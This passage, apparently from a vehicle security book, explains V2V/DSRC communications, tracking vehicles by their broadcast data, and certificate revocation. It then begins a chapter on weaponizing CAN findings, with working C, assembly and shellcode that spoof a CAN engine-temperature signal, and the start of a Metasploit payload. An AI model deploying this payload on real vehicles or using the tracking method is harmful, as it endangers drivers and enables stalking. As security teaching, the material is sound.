EXT	Fields

Channel	Info WAVE	Element
Operating	Channel
Channel	Number
Adaptable
Data	Rate
Transmit	Power
EXT.	Fields

WAVE	Routing	AdvertisementWAVE	Element
Router	Lifetime
IP	Prefix
Prefix	Length
Default	Gateway
Gateway	MAC
Primary	DNS
EXT.	Fields

If	the	vehicle’s	PSID	matches	that	of	an	advertised	PSID,	the	vehicle	will
begin	communications.

Tracking	Vehicles	with	DSRC
One	attack	that	utilizes	DSRC	communications	is	vehicle	tracking.	If
attackers	can	create	their	own	DSRC	receiver	by	buying	a	DSRC-capable
device	or	using	software-defined	radio	(SDR),	they	could	receive



information	about	vehicles	within	the	receiver’s	range—such	as	the	size,
location,	speed,	direction,	and	historical	path	up	to	the	last	300	m—and	use
this	information	to	track	a	target	vehicle.	For	example,	if	an	attacker	knew
the	make	and	model	of	a	target	vehicle	and	the	size	of	the	target,	they	could
set	up	a	receiver	near	the	target’s	home	to	remotely	detect	when	the	target
moves	out	of	range	of	the	DSRC	receiver.	This	would	tell	the	attacker	when
the	owner	had	left	their	house.	This	method	would	allow	an	attacker	to
continue	to	track	and	identify	vehicle	activity	despite	the	owner’s	attempts	to
obscure	identifying	information.

Information	on	vehicle	size	is	transmitted	in	the	following	four	fields:	•
Length

•	Body	width

•	Body	height

•	Bumper	height	(optional)

This	information	should	be	accurate	to	within	a	fraction	of	an	inch
because	it’s	set	by	the	manufacturer.	The	attacker	could	use	this	size
information	to	accurately	determine	the	make	and	model	of	a	car.	For
instance,	Table	10-3	lists	the	dimensions	for	a	Honda	Accord.

Table	10-3:	Honda	Accord	Dimensions

Length Body	width Body	height Bumper	height

191.4	inches 72.8	inches 57.5	inches 5.8	inches

Given	these	dimensions	and	a	bit	more	information,	such	as	the	estimated
time	a	target	might	pass	a	sensor,	an	attacker	could	determine	whether	a
target	has	passed	a	sensor	and	track	that	target.

Security	Concerns
There	are	other	attack	potentials	in	the	implementation	of	V2V,	as	was
investigated	by	the	Crash	Avoidance	Metrics	Partnership	(CAMP),	a	group
of	several	auto	manufacturers	working	to	conduct	different	safety-related
studies,	in	December	of	2010.	CAMP	performed	an	attack	analysis	on	V2V
systems	through	its	Vehicle	Safety	Consortium	(VSC3).	The	analysis



focused	primarily	on	the	core	DSRC/WAVE	protocol,	and	attempted	to
match	attacker	objectives	with	potential	attacks.	Figure	10-2	shows	a
summary	of	the	consortium’s	findings	by	attacker	objective.

Figure	10-2:	Attacker	objectives	crossed	with	attacks

This	table	shows	some	of	the	goals	a	malicious	actor	may	have	when
attacking	V2V	systems	and	the	types	of	attacks	they	might	launch	in	order	to



achieve	those	objectives.	The	top	columns	of	the	chart	define	an	attacker’s
possible	objectives	and	the	areas	they	might	focus	on.	The	chart	is	rather
simplistic	but	might	give	you	some	idea	as	to	which	areas	to	research	further.

PKI-Based	Security	Measures
While	much	of	the	technology	and	security	behind	V2V	is	still	being	ironed
out,	we	do	know	that	the	security	for	cellular,	DSRC,	and	hybrid
communications	is	based	on	a	public	key	infrastructure	(PKI)	model	much
like	the	SSL	model	on	websites.	By	generating	public	and	private	key	pairs,
PKI	systems	allow	users	to	create	digital	signatures	for	use	in	encrypting	and
decrypting	documents	sent	over	networks.	Public	keys	can	be	openly
exchanged	and	are	used	to	encrypt	data	between	destinations.	Once
encrypted,	only	private	keys	can	be	used	to	decrypt	the	data.	The	data	is
signed	with	the	sender’s	private	key	in	order	to	verify	its	origin.

PKI	uses	public	key	cryptography	and	central	certificate	authorities	(CAs)
to	validate	public	keys.	The	CA	is	a	trusted	source	that	can	hand	out	and
revoke	public	keys	for	a	given	destination.	The	V2V	PKI	system	is
sometimes	also	referred	to	as	the	Security	Credentials	Management	System
(SCMS).

For	a	PKI	system	to	function,	it	must	enforce	the	following:
Accountability	Identities	should	be	verifiable	using	trusted	signatures.

Integrity	Signed	data	must	be	verifiable	to	make	sure	that	it	hasn’t	been
altered	in	transit.

Nonrepudiation	Transactions	must	be	signed.

Privacy	Traffic	must	be	encrypted.

Trust	The	CA	must	be	trusted.

V2V	and	V2I	systems	rely	on	PKI	and	a	CA	to	secure	data	transmission,
though	the	identity	of	the	CA	has	yet	to	be	determined.	This	is	the	same
system	that	your	browser	uses	on	the	Internet.	On	your	browser’s	Settings
screen,	you	should	find	a	HTTPS/SSL	section	listing	all	authorized	root
authorities.	When	you	buy	a	certificate	from	one	of	these	CAs	and	use	it	on
a	web	server,	other	browsers	will	verify	this	certificate	against	the	CA	to
ensure	it’s	trusted.	In	a	normal	PKI	system,	the	company	that	set	up	the



environment	controls	the	CA,	but	in	V2V,	government	groups	or	countries
will	likely	control	the	CA.

Vehicle	Certificates
The	PKI	systems	used	to	secure	today’s	Internet	communication	have	large
certificate	files,	but	due	to	limited	storage	space	and	the	need	to	avoid
congestion	on	the	DSRC	channels,	vehicle	PKI	systems	require	shorter	keys.
To	accommodate	this	need,	vehicle	PKI	systems	use	elliptical	curve
cryptography	(ECDSA-256)	keys,	which	generate	certificates	that	are	one-
eighth	the	size	of	Internet	certificates.

The	vehicles	participating	in	V2V	communication	use	two	types	of
certificates:	Long-term	certificate	(LTC)

This	certificate	contains	vehicle	identifiers	and	can	be	revoked.	It’s	used
to	get	short-term	certificate	refills.

Short-term,	pseudonym	certificate	(PC)
This	certificate	has	a	short	expiry	time	and,	 therefore,	doesn’t	need	to
be	revoked	because	it	simply	expires.	It’s	used	for	anonymous	transfers,
which	 are	 designed	 for	 common	 messages	 like	 braking	 or	 road
conditions.

Anonymous	Certificates
PKI	systems	are	traditionally	set	up	to	identify	the	sender,	but	with
information	being	broadcast	to	unknown	vehicles	and	devices,	it’s	important
to	ensure	that	V2V	systems	don’t	send	information	that	can	be	traced	back,
such	as	packets	signed	by	the	source.

For	that	reason,	there’s	a	provision	in	the	V2V	spec	that	allows	you	to
sign	packets	anonymously,	with	only	enough	information	to	show	that	the
packet	came	from	a	“certified	terminal.”	Though	this	is	more	secure	than
sending	packets	signed	by	the	author,	it	would	still	be	possible	for	someone
to	examine	the	anonymous	certificate	signature	on	a	given	route	and
determine	the	route	that	vehicle	is	traveling	(in	the	same	way	that	you	might
use	the	unique	ID	transmitted	from	a	tire	pressure	monitor	sensor	to	track	a
vehicle’s	progress).	To	compensate	for	this,	the	spec	states	that	the	device
should	use	short-lived	certificates	that	will	last	for	only	five	minutes.



Currently,	however,	the	systems	being	developed	are	planning	to	use	20
or	more	certificates	that	are	all	simultaneously	valid	with	a	lifetime	of	a
week,	which	could	prove	to	be	a	security	flaw.

Certificate	Provisioning
Certificates	are	generated	through	a	process	called	certificate	provisioning.
V2V	systems	use	a	lot	of	short-term	certificates,	which	need	to	be
provisioned	on	a	regular	basis	in	order	to	replenish	a	device’s	certificates	so
that	it	can	use	them	for	anonymous	messaging.	The	full	details	of	how
privacy	works	in	V2V	certificate	systems	is	actually	quite	complicated,	as	the
CAMP	diagram	in	Figure	10-3	shows.

Prepare	yourself	for	a	lot	of	larvae	references—as	in	caterpillar,	cocoon,
and	butterfly—as	we	review	how	the	certificate-provisioning	process	works:

1.	 First,	the	device—that	is,	the	vehicle—generates	what’s	known	as	a
“caterpillar”	keypair,	which	sends	the	public	key	and	an	Advanced
Encryption	Standard	(AES)	expansion	number	to	the	Registration
Authority	(RA).

2.	 The	RA	generates	a	bunch	of	what	are	known	as	“cocoon”	public	keys
from	the	caterpillar	public	key	as	well	as	the	expansion	number.	These
become	new	private	keys.	The	number	of	keys	is	arbitrary	and	not
correlated	with	the	device	requesting	the	keys.	(As	of	this	writing,	the
request	includes	some	ID	information	from	the	linkage	authorities	and
should	shuffle	the	request	with	requests	from	other	vehicles.	This
shuffling	is	designed	to	help	obscure	which	vehicle	made	each	request	in
an	attempt	to	improve	privacy.)

3.	 The	Pseudonym	Certificate	Authority	(PCA)	randomizes	the	cocoon
keys	and	generates	the	“butterfly”	keys.	These	are	then	returned	to	the
originating	device	over	an	encrypted	channel	so	the	RA	can’t	see	the
contents.



Figure	10-3:	Certificate-provisioning	flow	graph

In	theory,	the	originating	device	can	request	enough	short-term	keys	to
last	the	vehicle’s	lifetime,	which	is	why	the	certificate	revocation	list	(CRL)is
important.	If	a	vehicle	has	one	month’s	worth	of	certificates,	it	won’t	check
for	new	updates	until	that	month	is	up,	so	a	bad	actor	can	continue	to
communicate	with	this	vehicle	until	there’s	an	update.	If	the	vehicle	has	a
year’s	worth	or	more	of	certificates	and	no	CRL	functionality,	then	things
can	get	real	bad	real	fast	because	it	won’t	be	able	to	identify	bad	actors.

NOTE

Notice	the	location	obscurer	proxy	(LOP)	in	the	certificate-provisioning	chart.
This	is	a	filter	to	remove	identifiable	information,	such	as	location,	from	the
request.	A	request	should	get	through	an	LOP	before	the	RA	sees	it.



Updating	the	Certificate	Revocation	List
The	CRL	is	a	list	of	“bad”	certificates.	Certificates	sometimes	go	bad
because	they’re	compromised	by	an	attacker	or	lost	by	their	owner	or
because	a	device	is	misbehaving	for	some	reason	that	the	CA	considers
detrimental.	A	device	must	update	its	CRL	so	that	it	can	determine	which
certificates,	if	any,	are	no	longer	trustworthy.

The	CRL	can	be	large,	and	it	isn’t	always	feasible	to	download	the	entire
list	through	DSRC	or	opportunistic	Wi-Fi.	Therefore,	most	systems	will
implement	an	incremental	update	period,	which	the	manufacturer	decides,
but	even	that	can	cause	issues.	DSRC	requires	roadside	devices	to	send	the
list,	but	in	order	to	receive	large	chunks	of	data,	the	vehicle	must	travel	past
the	roadside	devices	slowly	enough	that	they	have	enough	time	to	receive
the	CRL.	Because	most	devices	will	be	situated	on	major	highways,	with
only	a	few	on	side	roads,	the	only	opportunity	a	vehicle	might	have	to
receive	an	updated	list	is	during	a	traffic	jam.	The	best	way	to	retrieve	an
updated	CRL	is,	therefore,	through	cellular	or	full-satellite	communication,
though	that’s	still	slow.	With	high-speed	cellular	or	full-satellite	links,	it
would	be	possible	to	receive	incremental	updates	or	full	downloads	if
required.

One	possible	way	to	distribute	an	updated	CRL	is	to	have	vehicles
communicate	updates	to	each	other	via	the	V2V	interface	itself.	While	a
vehicle	may	not	be	in	contact	with	a	roadside	device	long	enough	to
complete	an	update,	it’s	sure	to	encounter	hundreds,	if	not	thousands,	of
other	vehicles	on	a	journey.

Risks	of	V2V	Updates
While	updating	via	the	V2V	interface	is	very	tempting	because	it	lowers	the
infrastructure	cost	and	overhead	significantly	(because	you	don’t	need	to
invest	in	lots	of	additional	roadside	infrastructure)	it	has	its	limits.	For	one,	a
vehicle	could	receive	a	CRL	download	only	from	nearby	cars	traveling	in	the
same	direction	long	enough	to	complete	the	download;	cars	going	in
opposite	directions	may	pass	by	too	quickly.	This	V2V	method	also	provides
the	opportunity	for	a	bad	actor	to	inject	a	bad	CRL	that	could	either	block
legitimate	devices	or	hide	bad	actors,	and	that	bad	CRL	could	then	circulate



through	traffic	like	a	virus.
Unfortunately,	V2V	protocol	security	focuses	entirely	on	communication

protocols.	The	onboard	system,	such	as	the	ECU,	is	responsible	for
requesting	and	storing	CRLs,	reporting	misbehavior,	and	sending	vehicle
information,	but	this	unsecured	system	provides	an	easy	gateway	for
attackers	to	inject	their	code.	Instead	of	taking	over	the	device	performing
the	actual	V2V	communication,	they	could	simply	modify	the	ECU
firmware	or	spoof	packets	on	the	bus,	and	the	V2V	device	would	then
faithfully	sign	and	send	the	information	out	to	the	network.	It’s	because	of
this	latter	vulnerability	that	this	method	has	been	unofficially	dubbed	the
epidemic	distribution	model.

Linkage	Authorities
When	dealing	with	thousands	of	pseudonym,	or	short-term,	certificates,
revocation	can	be	a	nightmare,	and	that’s	where	the	linkage	authority	(LA)
comes	in.	The	LA	can	revoke	all	generated	certificates	from	a	vehicle	with
just	one	CRL	entry.	In	this	way,	even	if	bad	actors	gather	numerous
certificates	before	being	identified	and	blocked,	the	LA	can	still	shut	them
down.

NOTE

Most	V2V	systems	are	being	designed	to	support	an	internal	blacklist	that’s
separate	from	the	CRL.	A	manufacturer	or	device	may	blacklist	any	device.

Misbehavior	Reports
V2V	and	V2I	systems	are	being	designed	to	allow	for	the	ability	to	send
misbehavior	reports	on	anything	from	standard	vehicle	malfunctions	to
notifications	of	hackers	messing	with	the	system.	These	misbehavior	reports
are	then	supposed	to	trigger	the	revocation	of	certificates.	But	how	does	a
vehicle	know	whether	it	has	a	hacked	packet?	The	answer	differs	for	each
automotive	industry,	but	the	general	concept	is	that	the	ECU—or	some
other	device—would	receive	a	packet	and	check	whether	it	“makes	sense.”
For	example,	the	receiving	device	might	validate	a	message	against	a	GPS
signal	or	identify	reports	of	a	vehicle	traveling	at	improbable	speeds,	say	500
mph.	When	something	erroneous	is	detected,	the	vehicle	should	send	a



misbehavior	report,	which	would	eventually	lead	to	revocation	of	that
certificate.	A	misbehavior	authority	(MA)	would	be	tasked	with	identifying
and	revoking	certificates	from	the	misbehaving	device.

One	interesting	scenario	to	consider	is	that	of	a	vehicle	with	a	low	CRL
update	interval—or	that	of	a	vehicle	that	hasn’t	been	near	a	roadside	device
in	awhile—leaving	it	with	an	outdated	revocation	list.	Such	a	vehicle	might
unknowingly	forward	incorrect	information,	which	would	cause	it	to	be
reported	as	a	bad	actor	and	which	might	lead	to	revocation	of	its	certificate.
What	happens	then?	When	can	the	vehicle	be	trusted	again?

When	performing	security	testing,	make	sure	to	include	these	possible
scenarios	in	your	research.

Summary
This	chapter	discussed	the	plan	for	V2V	communication.	V2V	devices	are
still	in	development	and	many	deployment	decisions	are	still	to	be	made.	As
this	technology	rolls	out,	the	various	vendors	will	interpret	the	rules
differently	and	in	ways	that	could	lead	to	interesting	security	gaps.	Hopefully
as	these	early	devices	start	to	trickle	out	into	the	marketplace,	this	chapter
will	be	a	useful	guide	for	performing	security	audits.



11
WEAPONIZING	CAN	FINDINGS

Now	that	you’re	able	to	explore	and	identify	CAN	packets,	it’s	time	to	put
that	knowledge	to	use	and	learn	to	hack	something.	You’ve	already	used
your	identified	packets	to	perform	actions	on	a	car,	but	unlocking	or	starting
a	car	using	packets	is	recon,	rather	than	actual	hacking.	The	goal	of	this
chapter	is	to	show	you	how	to	weaponize	your	findings.	In	the	software
world,	weaponize	means	“take	an	exploit	and	make	it	easy	to	execute.”	When
you	first	find	a	vulnerability,	it	may	take	many	steps	and	specific	knowledge
to	successfully	pull	off	the	exploit.	Weaponizing	a	finding	enables	you	to
take	your	research	and	put	it	into	a	self-contained	executable.

In	this	chapter,	we’ll	see	how	to	take	an	action—for	example,	unlocking	a
car—and	put	it	into	Metasploit,	a	security	auditing	tool	designed	to	exploit
software.	Metasploit	is	a	popular	attack	framework	often	used	in	penetration
testing.	It	has	a	large	database	of	functional	exploits	and	payloads,	the	code
that	runs	once	a	system	has	been	exploited—for	example,	once	the	car	has
been	unlocked.	You’ll	find	a	wealth	of	information	on	Metasploit	online	and
in	print,	including	Metasploit:	The	Penetration	Tester’s	Guide	(No	Starch	Press,
2011).

In	order	to	weaponize	your	findings	you	will	need	to	write	code.	In	this
chapter,	we’ll	write	a	Metasploit	payload	designed	to	target	the	architecture
of	the	infotainment	or	telematics	system.	As	our	first	exercise,	we’ll	write



shellcode,	the	small	snippet	of	code	that’s	injected	into	an	exploit,	to	create	a
CAN	signal	that	will	control	a	vehicle’s	temperature	gauge.	We’ll	include	a
loop	to	make	sure	our	spoofed	CAN	signal	is	continuously	sent,	with	a
builtin	delay	to	prevent	the	bus	from	being	flooded	with	packets	that	might
create	an	inadvertent	denial-of-service	attack.	Next,	we’ll	write	the	code	to
control	the	temperature	gauge.	Then,	we’ll	convert	that	code	into	shellcode
so	that	we	can	fine-tune	it	to	make	the	shellcode	smaller	or	reduce	NULL
values	if	necessary.	When	we’re	finished,	we’ll	have	a	payload	that	we	can
place	into	a	specialized	tool	or	use	with	an	attack	framework	like	Metasploit.

NOTE

To	get	the	most	out	of	this	chapter,	you’ll	need	to	have	a	good	understanding	of
programming	and	programming	methodologies.	I	assume	some	familiarity
with	C	and	assembly	languages,	both	x86	and	ARM,	and	the	Metasploit
framework.

Writing	the	Exploit	in	C
We’ll	write	the	exploit	for	this	spoofed	CAN	signal	in	C	because	C	compiles
to	fairly	clean	assembly	that	we	can	reference	to	make	our	shellcode.	We’ll
use	vcan0,	a	virtual	CAN	device,	to	test	the	exploit,	but	for	the	real	exploit,
you’d	want	to	instead	use	can0	or	the	actual	CAN	bus	device	that	you’re
targeting.	Listing	11-1	shows	the	temp_shell	exploit.

NOTE

You’ll	need	to	create	a	virtual	CAN	device	in	order	to	test	this	program.	See
Chapter	3	for	details.

In	Listing	11-1,	we	create	a	CAN	packet	with	an	arbitration	ID	of	0x510
and	set	the	second	byte	to	0xFF.	The	second	byte	of	the	0x510	packet
represents	the	engine	temperature.	By	setting	this	value	to	0xFF,	we	max	out
the	reported	engine	temperature,	signaling	that	the	vehicle	is	overheating.
The	packet	needs	to	be	sent	repeatedly	to	be	effective.

---	temp_shell.c
#include	<sys/types.h>



#include	<sys/socket.h>
#include	<sys/ioctl.h>
#include	<net/if.h>
#include	<netinet/in.h>
#include	<linux/can.h>
#include	<string.h>

int	main(int	argc,	char	*argv[])	{
int	s;
struct	sockaddr_can	addr;

struct	ifreq	ifr;
struct	can_frame	frame;

s	=	socket(➊PF_CAN,	SOCK_RAW,	CAN_RAW);

strcpy(ifr.ifr_name,	➋"vcan0");
ioctl(s,	SIOCGIFINDEX,	&ifr);

addr.can_family	=	AF_CAN;
addr.can_ifindex	=	ifr.ifr_ifindex;

bind(s,	(struct	sockaddr	*)&addr,	sizeof(addr));

➌	frame.can_id	=	0x510;
frame.can_dlc	=	8;
frame.data[1]	=	0xFF;
while(1)	{
write(s,	&frame,	sizeof(struct	can_frame));

➍	usleep(500000);
}
}

Listing	11-1:	C	loop	to	spam	CAN	ID	0x510

Listing	11-1	sets	up	a	socket	in	almost	the	same	way	as	you’d	set	up	a
normal	networking	socket,	except	it	uses	the	CAN	family	PF_CAN	➊.	We	use
ifr_name	to	define	which	interface	we	want	to	listen	on—in	this	case,	"vcan0"
➋.

We	can	set	up	our	frame	using	a	simple	frame	structure	that	matches	our
packet,	with	can_id	➌	containing	the	arbitration	ID,	can_dlc	containing	the
packet	length,	and	the	data[]	array	holding	the	packet	contents.

We	want	to	send	this	packet	more	than	once,	so	we	set	up	a	while	loop
and	set	a	sleep	timer	➍	to	send	the	packet	at	regular	intervals.	(Without	the
sleep	statement,	you’d	flood	the	bus	and	other	signals	wouldn’t	be	able	to



talk	properly.)
To	confirm	that	this	code	works,	compile	it	as	shown	here:

$	gcc	-o	temp_shellcode	temp_shellcode.c
$	ls	-l	temp_shell
-rwxrwxr-x	1	craig	craig	8722	Jan	6	07:39	temp_shell
$	./temp_shellcode

Now	run	candump	in	a	separate	window	on	vcan0,	as	shown	in	the	next
listing.	The	temp_shellcode	program	should	send	the	necessary	CAN	packets
to	control	the	temperate	gauge.

$	candump	vcan0

vcan0	➊510	[8]	➋5D	➌FF	➍40	00	00	00	00	00
vcan0	510	[8]	5D	FF	40	00	00	00	00	00
vcan0	510	[8]	5D	FF	40	00	00	00	00	00
vcan0	510	[8]	5D	FF	40	00	00	00	00	00

The	candump	results	show	that	the	signal	0x510	➊	is	repeatedly	broadcast
and	that	the	second	byte	is	properly	set	to	0xFF	➌.	Notice	that	the	other
values	of	the	CAN	packet	are	set	to	values	that	we	didn’t	specify,	such	as
0x5D	➋	and	0x40	➍.	This	is	because	we	didn’t	initialize	the	frame.data
section,	and	there	is	some	memory	garbage	in	the	other	bytes	of	the	signal.
To	get	rid	of	this	memory	garbage,	set	the	other	bytes	of	the	0x510	signal	to
the	values	you	recorded	during	testing	when	you	identified	the	signal—that
is,	set	the	other	bytes	to	frame.data[].

Converting	to	Assembly	Code
Though	our	temp_shell	program	is	small,	it’s	still	almost	9KB	because	we
wrote	it	in	C,	which	includes	a	bunch	of	other	libraries	and	code	stubs	that
increase	the	size	of	the	program.	We	want	our	shellcode	to	be	as	small	as
possible	because	we’ll	often	have	only	a	small	area	of	memory	available	for
our	exploit	to	run,	and	the	smaller	our	shellcode,	the	more	places	it	can	be
injected.

In	order	to	shrink	the	size	of	our	program,	we’ll	convert	its	C	code	to
assembly	and	then	convert	the	assembly	shellcode.	If	you’re	already	familiar
with	assembly	language,	you	could	just	write	your	code	in	assembly	to	begin
with,	but	most	people	find	it	easier	to	test	their	payloads	in	C	first.



The	only	difference	between	writing	this	script	and	standard	assembly
scripts	is	that	you’ll	need	to	avoid	creating	NULLs,	as	you	may	want	to
inject	the	shellcode	into	a	buffer	that	might	null-terminate.	For	example,
buffers	that	are	treated	as	strings	will	scan	the	values	and	stop	when	it	see	a
NULL	value.	If	your	payload	has	a	NULL	in	the	middle,	your	code	won’t
work.	(If	you	know	that	your	payload	will	never	be	used	in	a	buffer	that	will
be	interpreted	as	a	string,	then	you	can	skip	this	step.)

NOTE

Alternatively,	you	could	wrap	your	payload	with	an	encoder	to	hide	any
NULLs,	but	doing	so	will	increase	its	size,	and	using	encoders	is	beyond	the
scope	of	this	chapter.	You	also	won’t	have	a	data	section	to	hold	all	of	your
string	and	constant	values	as	you	would	in	a	standard	program.	We	want	our
code	to	be	self-sufficient	and	we	don’t	want	to	rely	on	the	ELF	header	to	set	up
any	values	for	us,	so	if	we	want	to	use	strings	in	our	payload,	we	have	to	be
creative	in	how	we	place	them	on	the	stack.

In	order	to	convert	the	C	code	to	assembly,	you	will	need	to	review	the
system	header	files.	All	method	calls	go	right	to	the	kernel,	and	you	can	see
them	all	in	this	header	file:

/usr/include/asm/unistd_64.h

For	this	example,	we’ll	use	64-bit	assembly,	which	uses	the	following
registers:	%rax,	%rbx,	%rcx,	%rdx,	%rsi,	%rdi,	%rbp,	%rsp,	%r8,	%r15,	%rip,
%eflags,	%cs,	%ss,	%ds,	%es,	%fs,	and	%gs.

To	call	a	kernel	system	call,	use	syscall—rather	than	int	0x80—where
%rax	has	the	system	call	number,	which	you	can	find	in	unistd_64.h.	The
parameters	are	passed	in	the	registers	in	this	order:	%rdi,	%rsi,	%rdx,	%r10,
%r8,	and	%r9.

Note	that	the	register	order	is	slightly	different	than	when	passing
arguments	to	a	function.

Listing	11-2	shows	the	resulting	assembly	code	that	we	store	in	the
temp_shell.s	file.

---	temp_shell.S
section	.text



global	_start

_start:
;	s	=	socket(PF_CAN,	SOCK_RAW,	CAN_RAW);
push	41	;	Socket	syscall	from	unistd_64.h
pop	rax
push	29	;	PF_CAN	from	socket.h
pop	rdi
push	3	;	SOCK_RAW	from	socket_type.h
pop	rsi
push	1	;	CAN_RAW	from	can.h
pop	rdx
syscall
mov	r8,	rax	;	s	/	File	descriptor	from	socket
;	strcpy(ifr.ifr_name,	"vcan0");
sub	rsp,	40	;	struct	ifreq	is	40	bytes
xor	r9,	r9	;	temp	register	to	hold	interface	name
mov	r9,	0x306e616376	;	vcan0
push	r9
pop	qword	[rsp]
;	ioctl(s,	SIOCGIFINDEX,	&ifr);
push	16	;	ioctrl	from	unistd_64.h
pop	rax
mov	rdi,	r8	;	s	/	File	descriptor
push	0x8933	;	SIOCGIFINDEX	from	ioctls.h
pop	rsi
mov	rdx,	rsp	;	&ifr
syscall
xor	r9,	r9	;	clear	r9
mov	r9,	[rsp+16]	;	ifr.ifr_ifindex
;	addr.can_family	=	AF_CAN;
sub	rsp,	16	;	sizeof	sockaddr_can
mov	word	[rsp],	29	;	AF_CAN	==	PF_CAN
;	addr.can_ifindex	=	ifr.ifr_ifindex;
mov	[rsp+4],	r9
;	bind(s,	(struct	sockaddr	*)&addr,
sizeof(addr));
push	49	;	bind	from	unistd_64.h
pop	rax
mov	rdi,	r8	;	s	/File	descriptor
mov	rsi,	rsp	;	&addr
mov	rdx,	16	;	sizeof(addr)
syscall
sub	rsp,	16	;	sizeof	can_frame
mov	word	[rsp],	0x510	;	frame.can_id	=	0x510;

mov	byte	[rsp+4],	8	;	frame.can_dlc	=	8;

mov	byte	[rsp+9],	0xFF	;	frame.data[1]	=	0xFF;
;	while(1)
loop:
;	write(s,	&frame,	sizeof(struct	can_frame));



push	1	;	write	from	unistd_64.h
pop	rax
mov	rdi,	r8	;	s	/	File	descriptor
mov	rsi,	rsp	;	&frame
mov	rdx,	16	;	sizeof	can_frame
syscall
;	usleep(500000);
push	35	;	nanosleep	from	unistd_64.h
pop	rax
sub	rsp,	16
xor	rsi,	rsi
mov	[rsp],	rsi	;	tv_sec
mov	dword	[rsp+8],	500000	;	tv_nsec
mov	rdi,	rsp
syscall
add	rsp,	16
jmp	loop

Listing	11-2:	Sending	CAN	ID	0x510	packets	in	64-bit	assembly

The	code	in	Listing	11-2	is	exactly	the	same	as	the	C	code	we	wrote	in
Listing	11-1,	except	that	it’s	now	written	in	64-bit	assembly.

NOTE

I’ve	commented	the	code	to	show	the	relationship	between	the	lines	of	the
original	C	code	and	each	chunk	of	assembly	code.

To	compile	and	link	the	program	to	make	it	an	executable,	use	nasm	and
ld,	as	shown	here:

$	nasm	-f	elf64	-o	temp_shell2.o	temp_shell.S
$	ld	-o	temp_shell2	temp_shell2.o
$	ls	-l	temp_shell2

-rwxrwxr-x	1	craig	craig	➊1008	Jan	6	11:32	temp_shell2

The	size	of	the	object	header	now	shows	that	the	program	is	around	1008
bytes	➊,	or	just	over	1KB,	which	is	significantly	smaller	than	the	compiled	C
program.	Once	we	strip	the	ELF	header	caused	by	the	linking	step	(ld),	our
code	will	be	even	smaller	still.

Converting	Assembly	to	Shellcode
Now	that	your	program	is	of	more	suitable	size,	you	can	use	one	line	of	Bash



to	convert	your	object	file	to	shellcode	right	at	the	command	line,	as	shown
in	Listing	11-3.

$	for	i	in	$(objdump	-d	temp_shell2.o	-M	intel	|grep	"^	"	|cut	-f2);	do
echo
-n	'\x'$i;	done;echo
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\x04\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\x89\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x6a\x23\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xa1\x07\
x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf

Listing	11-3:	Converting	object	file	to	shellcode

This	series	of	commands	runs	through	your	compiled	object	file	and	pulls
out	the	hex	bytes	that	make	up	the	program,	printing	them	to	the	screen.
The	bytes	output	is	your	shellcode.	If	you	count	up	the	printed	bytes,	you
can	see	that	this	shellcode	is	168	bytes—that’s	more	like	it.

Removing	NULLs
But	we’re	not	done	yet.	If	you	look	at	the	shellcode	in	Listing	11-3,	you’ll
notice	that	we	still	have	some	NULL	values	(\x00)	that	we	need	to	eliminate.
One	way	to	do	so	is	to	use	a	loader,	which	Metasploit	has,	to	wrap	the	bytes
or	rewrite	parts	of	the	code	to	eliminate	the	NULLs.

You	could	also	rewrite	your	assembly	to	remove	NULLs	from	the	final
assembly,	typically	by	replacing	MOVs	and	values	that	would	have	NULLs
in	them	with	a	command	to	erase	a	register	and	another	command	to	add
the	appropriate	value.	For	instance,	a	command	like	MOV	RDI,	0x03	will
convert	to	hex	that	has	a	lot	of	leading	NULLs	before	the	3.	To	get	around
this,	you	could	first	XOR	RDI	to	itself	(XOR	RDI,	RDI),	which	would	result	in
RDI	being	a	NULL,	and	then	increase	RDI	(INC	RDI)	three	times.	You	may
have	to	be	creative	in	some	spots.

Once	you’ve	made	the	modifications	to	remove	these	NULL	values,	you
can	convert	the	shellcode	to	code	that	can	be	embedded	in	a	string	buffer.	I
won’t	show	the	altered	assembly	code	because	it’s	not	very	legible,	but	the
new	shellcode	looks	like	this:



\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xc1\xe1\x20\x49\x81\xc1\x76\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x41\xb9\x11\x11\x33\
x89\x49\xc1\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0f\x05\x4d\x31\xc9\x4c\x8b\x4c\
x24\x10\x48\x83\xec\x10\xc6\x04\x24\x1d\x4c\x89\x4c\x24\x04\x6a\x31\x58\x4c\
x89\xc7\x48\x89\xe6\xba\x11\x11\x11\x10\x48\xc1\xea\x18\x0f\x05\x48\x83\xec\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\x01\
x58\x4c\x89\xc7\x48\x89\xe6\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\xf6\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x89\xe7\x0f\x05\x48\x83\
xc4\x10\xeb\xd4

Creating	a	Metasploit	Payload
Listing	11-4	is	a	template	for	a	Metasploit	payload	that	uses	our	shellcode.
Save	this	payload	in	modules/payloads/singles/linux/armle/,	and	name	it
something	similar	to	the	action	that	you’ll	be	performing,	like	flood_temp.rb.
The	example	payload	in	Listing	11-4	is	designed	for	an	infotainment	system
